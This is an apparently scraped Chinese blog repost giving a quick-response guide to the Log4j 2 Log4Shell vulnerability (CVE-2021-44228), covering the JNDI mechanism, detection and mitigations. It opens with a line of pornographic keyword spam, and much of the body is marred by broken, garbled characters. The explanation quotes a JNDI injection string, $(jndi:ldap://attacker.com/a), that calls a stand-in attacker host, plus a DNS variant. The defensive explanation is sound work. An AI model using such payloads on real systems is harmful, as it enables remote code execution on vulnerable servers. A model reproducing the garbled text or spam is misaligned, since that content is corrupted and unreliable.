日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Log4j 2漏洞(CVE-2021-44228)的快速响应

發(fā)布時間:2023/12/4 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Log4j 2漏洞(CVE-2021-44228)的快速响应 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

簡介

2021 年 12 月 9 日,在Log4j的 GitHub 上公開披露了一個影響多個版本的 Apache Log4j 2 實用程序的高嚴重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。該漏洞由阿里云安全團隊的陳兆軍(可能為音譯)發(fā)現(xiàn),影響Apache Log4j 2版本2.0至2.14.1。根據(jù)開發(fā)人員的說法,Log4j的1.x版本不容易受到此漏洞的影響。

該漏洞允許未經(jīng)身份驗證的遠程執(zhí)行代碼。

目前已經(jīng)能夠看到較多利用此漏洞的PoC驗證攻擊代碼,該漏洞可通過多種特定于應用程序的方法訪問。實際上,任何允許遠程連接提供由使用 Log4j 庫的應用程序?qū)懭肴罩疚募娜我鈹?shù)據(jù)的場景都容易受到利用。由于影響面實在太過巨大,威脅等級及實現(xiàn)方式非常危險,Apache基金會將此漏洞標記為最高級別的10級。目前大致能確定以下內(nèi)容:

  • 廣泛使用的企業(yè)軟件的默認安裝容易受到攻擊。

  • 無需身份驗證即可可靠地利用此漏洞。

  • 該漏洞會影響 Log4j 2 的多個版本。

  • 該漏洞允許以運行利用庫的應用程序的用戶身份遠程執(zhí)行代碼。

Log4j 2是一個基于Java的日志庫,廣泛用于業(yè)務系統(tǒng)開發(fā),包含在各種開源庫中,并直接嵌入到主要軟件應用程序中。影響范圍已擴展到數(shù)千種產(chǎn)品和設備,包括Struts 2,Solr,Druid,Flink和Swift等Apache產(chǎn)品。由于此漏洞位于 Java 庫中,因此 Java 的跨平臺性質(zhì)意味著該漏洞可在許多平臺(包括 Windows 和 Linux)上被利用。由于許多基于 Java 的應用程序可以利用 Log4j 2,因此組織應與應用程序供應商聯(lián)系,或確保其 Java 應用程序運行最新的最新版本。使用Log4j 2的開發(fā)人員應確保盡快將最新版本的Log4j合并到他們的應用程序中,以保護用戶和組織。

為了便于理解Log4j 2漏洞的影響面和危害性原因,網(wǎng)上出現(xiàn)了漫畫圖,在這里貼出來供大家一覽。

??這張圖說明了最簡單的原理

這張圖說明了為什么會影響這么多系統(tǒng)

再來個中文版的

攻擊者使用該漏洞的可能方式可參考Fastly (https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j)?的圖片:

在使用Log4j 2的大量的日志記錄框架中,開發(fā)人員通常認為消息作為基本格式數(shù)據(jù)進行處理。但通過Log4j 2實際提供了JNDI查找的能力,又沒有對這些查找進行限制,由此產(chǎn)生了這個漏洞。

JNDI,Java命名和目錄接口,是目錄服務的Java API,提供LDAP或DNS接口查找數(shù)據(jù)和資源,當可以返回的數(shù)據(jù)類型之一是指向Java類的URI的時候,如果加載了不受信任的Java類,就將不知不覺地遠程執(zhí)行任意代碼。

例如記錄這樣的信息:

log.info("cve-2021-44228 is security nightmare! {}", userInput)

在生產(chǎn)環(huán)境中記錄HTTP信息作為日志非常常見,這一問題可能如下:

log.inf("Request User-Agent: {}", userAgent)

在初始步驟插入JNDI字串,例如 $(jndi:ldap://attacker.com/a) 后,存在漏洞的Log4j服務器就能夠通過URI訪問可以執(zhí)行命令的有效負載。Log4j服務器將執(zhí)行LDAP查詢,然后LDAP服務器將響應有效負載鏈接的目錄信息。

接下來這些鏈接指向的Java類的有效負載將被加載到內(nèi)存,由受攻擊的Log4j服務器執(zhí)行。除了LDAP,也可以通過該漏洞強制被攻擊的Log4j服務器進行DNS查詢,例如 ${jndi:dns://<dns server>/<TXT record query string>} 。我猜理論上可以刷新DNS緩存做DNS劫持。

同時可參考微軟提供的供給鏈參考圖片:

檢測

如何判斷是否在使用的系統(tǒng)受到Log4j組件漏洞影響呢?

  • 如果您在軟件清單中找到這些哈希值,那么您的系統(tǒng)中就有易受攻擊的log4j:https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes

  • 屬于 log4j 庫的 JAR 文件的存在可能表明應用程序可能容易受到 CVE-2021-44228 的影響。要搜索的特定文件應符合以下模式:"log4j-core-*.jar"

  • 根據(jù)安裝方法的不同,匹配的 JAR 文件的位置也可能指示哪個應用程序可能容易受到攻擊。例如,在 Windows 上,如果文件位于 C:\Program Files\ApplicationName\log4j-core-version.jar 中則表示應調(diào)查應用程序名稱。在 Linux 上,lsof 實用程序可以顯示當前正在使用 JAR 文件的進程,并且可以通過以下語法運行:"lsof /path/to/log4j-core-version.jar;"

  • 查看并隨時關注有關更新:

    • 查看Apache基金會關于Log4j漏洞信息的更新:https://logging.apache.org/log4j/2.x/security.html

    • 查看NIST的NVD中該漏洞信息的更新:https://nvd.nist.gov/vuln/detail/CVE-2021-44228

    • 如果使用Microsoft產(chǎn)品,查看該漏洞信息的更新:https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/

    • 如果使用VMware產(chǎn)品,查看該漏洞信息的更新:https://www.vmware.com/security/advisories/VMSA-2021-0028.html

    • 以CVE-2021-44228為關鍵字搜索更多信息

    緩解

    如同前面漫畫圖中顯示的,如果您在某個產(chǎn)品或者服務中發(fā)現(xiàn)了該漏洞的聲明,并不意味著產(chǎn)品或者服務本身存在缺陷,而是我們需要聚焦在這個漏洞本身,進行盡快的修復或緩解。

    所有人都希望能充分了解這個漏洞,并在第一時間使用對應的補丁解決問題。不幸的是,軟件開發(fā)和測試需要周期時間,所以補丁基本上不會比攻擊代碼出現(xiàn)的更早。但至少我們可以通過建議的緩解措施進行緩解。

  • 通過產(chǎn)品和服務等官方補丁,替換受影響的Log4j 2組件。如上所述,出于兼容性穩(wěn)定性考慮,不建議自行替換。可隨時查看前面提供的產(chǎn)品漏洞說明頁面信息更新,以盡早獲得補丁。測試后進行生產(chǎn)更新。

  • 問題的根源在于沒有限制JNDI的查詢限制,因此在Log4j 2組件存在的地方,需要對查詢做手動限制。

    • Log4J 2 版本 2.10 到 2.14.1 支持將參數(shù) log4j2.formatMsgNoLookups 設置為"true",以禁用易受攻擊的功能。確保在 Java 虛擬機的啟動腳本中配置了此參數(shù):-Dlog4j2.formatMsgNoLookups=true。

    • 或者,使用 Log4j 2.10 到 2.14.1 的客戶可以設置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 環(huán)境變量來強制進行此更改。

    • Kubernetes 管理員可以使用 "kubectl set env" 來設置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 環(huán)境變量,以便在 Java 應用程序運行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中應用緩解措施,從而自動有效地反映在所有 pod 和容器上。

    • 對于從 2.0-beta9 到 2.10.0 的版本,緩解措施是從類路徑中刪除 JndiLookup 類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    如果系統(tǒng)位于受到防護的網(wǎng)絡內(nèi)部,可以考慮在邊緣訪問網(wǎng)關,例如WAF上進行訪問過濾。目前主流WAF廠商大多已經(jīng)更新了安全規(guī)則,能夠識別該漏洞相關的指紋信息。

    可以在系統(tǒng)中啟用并更新安全軟件,例如Defender。如果使用云服務,也可以對訪問日志進行監(jiān)控。可參考:有關預防、檢測和搜尋 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客 (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation)

    建議

  • 無需談虎色變,盡快的厘清架構并評估影響面是第一要務

  • 召集所有相關人員,例如安全、架構和業(yè)務團隊,評估修復/緩解計劃并制定時間表

  • 檢查現(xiàn)有架構時,不要僅關注后端(服務器)架構,也應該充分評估使用了Log4j組件的前端(客戶端)。客戶端的設備是移動的,存在漏洞的設備是可以繞過防火墻的

  • 作為VDI/UEM從業(yè)人員,強烈建議在VDI架構中考慮標準化和使用快速的制備方式,在出現(xiàn)風險時能夠及時更新到安全和配置基線

  • 充分考慮零信任架構,即使是內(nèi)網(wǎng)或相同網(wǎng)絡,也需要考慮網(wǎng)絡微隔離

  • 因趕時間,錯漏難免,還請不吝賜教。

    總結(jié)

    以上是生活随笔為你收集整理的Log4j 2漏洞(CVE-2021-44228)的快速响应的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。